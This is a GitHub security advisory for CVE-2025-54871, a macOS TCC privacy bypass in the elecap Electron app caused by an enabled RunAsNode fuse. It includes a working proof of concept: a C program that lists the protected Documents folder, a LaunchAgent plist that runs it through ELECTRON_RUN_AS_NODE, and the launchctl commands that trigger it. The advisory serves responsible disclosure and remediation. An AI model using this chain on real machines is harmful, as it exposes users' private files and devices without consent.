Skip to content

TCC Bypass via Misconfigured Node Fuses

Moderate
steveseguin published GHSA-8849-p3j4-jq4h Aug 4, 2025

Package

elecap (electroncapture)

Affected versions

2.19.1

Patched versions

2.20.0

Description

Summary

The elecap app on macOS allows local unprivileged users to bypass macOS TCC privacy protections by enabling ELECTRON_RUN_AS_NODE. This environment variable allows arbitrary Node.js code to be executed via the -e flag, which runs inside the main Electron context, inheriting any previously granted TCC entitlements (such as access to Documents, Downloads, etc.).

Technical Details

The root cause is misconfigured Node Fuses and the application inherits elevated TCC permissions granted by the user, but lacks runtime safeguards to prevent arbitrary child process execution. Resulting in sandbox escape and unauthorized access to protected resources.

The misconfigured Node Fuses makes elecap vulnerable because it's possible to code injection. Check with the following command which fuses are enabled:

swayzgl1tzyyy@SwayZGl1tZyyys-Mac /tmp % npx @electron/fuses read --app /Applications/elecap.app 

Analyzing app: elecap.app

Fuse Version: v1
  RunAsNode is Enabled
  EnableCookieEncryption is Disabled
  EnableNodeOptionsEnvironmentVariable is Enabled
  EnableNodeCliInspectArguments is Enabled
  EnableEmbeddedAsarIntegrityValidation is Disabled
  OnlyLoadAppFromAsar is Disabled
  LoadBrowserProcessSpecificV8Snapshot is Disabled
  GrantFileProtocolExtraPrivileges is Enabled

This shows elecap enables several high-risk Electron fuses, including RunAsNode, EnableNodeCliInspectArguments, and EnableNodeOptionsEnvironmentVariable. These fuses expose the application to code injection vectors.

Reproduce TCC Bypass via misconfigured Node fuse

Create a Proof-of-Concept program (tcc_bypass.c):

The following test program attempts to access the Documents folder, which is protected by TCC. The output of the command execution will be saved as /tmp/Documents.txt (with a .log file for debugging).

swayzgl1tzyyy@SwayZGl1tZyyys-Mac electroncapture % cat tcc_bypass.c
#include <stdio.h>
#include <stdlib.h>
  
int main() {
    FILE *fp;
    FILE *outputFile;
    char path[1024];

    // Log that the bypass program started (for debugging)
    system("echo '[+] bypass started' > /tmp/bypass.log");
  
    // Open output file to write the result
    outputFile = fopen("/tmp/Documents.txt", "w");
    if (outputFile == NULL) {
        system("echo '[!] Failed to open /tmp/Documents.txt' >> /tmp/bypass.log");
        return 1;
    }
  
    // Try to list the contents of the users TCC-protected Documents folder
    fp = popen("ls -Ol /Users/swayzgl1tzyyy/Documents 2>&1", "r");
    if (fp == NULL) {
        fprintf(outputFile, "ERROR: popen failed\n");
        fclose(outputFile);
        return 1;
    }
  
    // Read the command output and write it into the file
    while (fgets(path, sizeof(path), fp) != NULL) {
        fprintf(outputFile, "%s", path);
    }
  
    // Clean up
    pclose(fp);
    fclose(outputFile);
  
    return 0;
}

Compile the Proof-of-Concept with:

clang tcc_bypass.c -o tcc_bypass
chmod +x tcc_bypass

Note: when attempting to reproduce the vulnerability, make sure that Terminal does not have Full Disk Access in macOS settings. This ensures that access to TCC-protected folders like Documents or Downloads is correctly restricted, and helps demonstrate the actual bypass

root not permitted

When we try to read protected folders through the Terminal it will cause an error because the Terminal doesn't have Folder permissions. And with root privileges it's still not possible to access the Documents folder. This shows the initial security state by confirming it's not possible to access the Documents folder before exploitation.

In order to bypass this, create the LaunchAgent file com.electron.tcc.bypass.plist. With the following content:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.electron.tcc.bypass</string>
  <key>ProgramArguments</key>
  <array>
    <string>/Applications/elecap.app/Contents/MacOS/elecap</string> 
    <string>-e</string>
    <string>require('child_process').exec('/Users/swayzgl1tzyyy/Desktop/Proof-of-Concepts/electroncapture/tcc_bypass')</string>
  </array>
  <key>EnvironmentVariables</key>
  <dict>
    <key>ELECTRON_RUN_AS_NODE</key>
    <string>true</string>
  </dict>
  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>

Save the following file as: (if the LaunchAgents directory doesn't exist, create one mkdir -p ~/Library/LaunchAgents).

~/Library/LaunchAgents/com.electron.tcc.bypass.plist # file should be found here

Note: replace swayzgl1tzyyy with your actual macOS username and make sure the we set the right path to the actual location of your tcc_bypass binary on the system.

Then, use the launchctl utility to execute ~/Library/LaunchAgents/com.electron.tcc.bypass.plist which runs elecap as a daemon to avoid inheriting the parent process's sandbox profile.

launchctl unload ~/Library/LaunchAgents/com.electron.tcc.bypass.plist
launchctl load ~/Library/LaunchAgents/com.electron.tcc.bypass.plist

This triggers the tcc_bypass program as a child of elecap, inheriting its TCC access.

Check the output:

cat /tmp/bypass.log
cat /tmp/Documents.txt

Upon successful execution, /tmp/Documents.txt contains the contents of the protected folder, even though Terminal doesn’t have permission.

elecap1

This proof-of-concept shows that by launching elecap in a specific way, arbitrary binaries can access TCC-protected data without any user consent or warning, which directly violates the intended macOS security model.

Impact

A TCC bypass is particularly useful in post-exploitation scenarios where an attacker already has code execution on the system but is limited by macOS privacy restrictions. For example, even if an attacker has root access, macOS still enforces TCC rules unless explicitly overridden. A successful bypass allows the attacker to:

  • Code execution in the app’s security context
  • Access to TCC-protected resources (e.g. personal folders (~/Downloads, ~/Documents etc.)
  • Access to sensitive hardware (microphone camera) without user consent

This kind of bypass is often used in advanced threat scenarios or red team operations, where stealth and full access are critical. It allows attackers to escalate from a restricted execution context to full surveillance capabilities, often as part of persistence or lateral movement strategies.

Suggested Fix

This fuse controls whether the app respects the ELECTRON_RUN_AS_NODE environment variable. When enabled, it allows the app to run as a standalone Node.js binary, which is not sandboxed and inherits all macOS TCC permissions previously granted to the app.

According to Electron’s official documentation, these fuses are intended for development and debugging, and should be disabled in production environments. Leaving them enabled undermines key security features, such as hardened runtime and the deliberate exclusion of risky entitlements, and may introduce unnecessary attack surface.

  • Disable the runAsNode fuse within your Electron app, disabling this fuse prevents abuse of the -e flag and arbitrary Node.js execution.

References:

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2025-54871

Weaknesses

No CWEs

Credits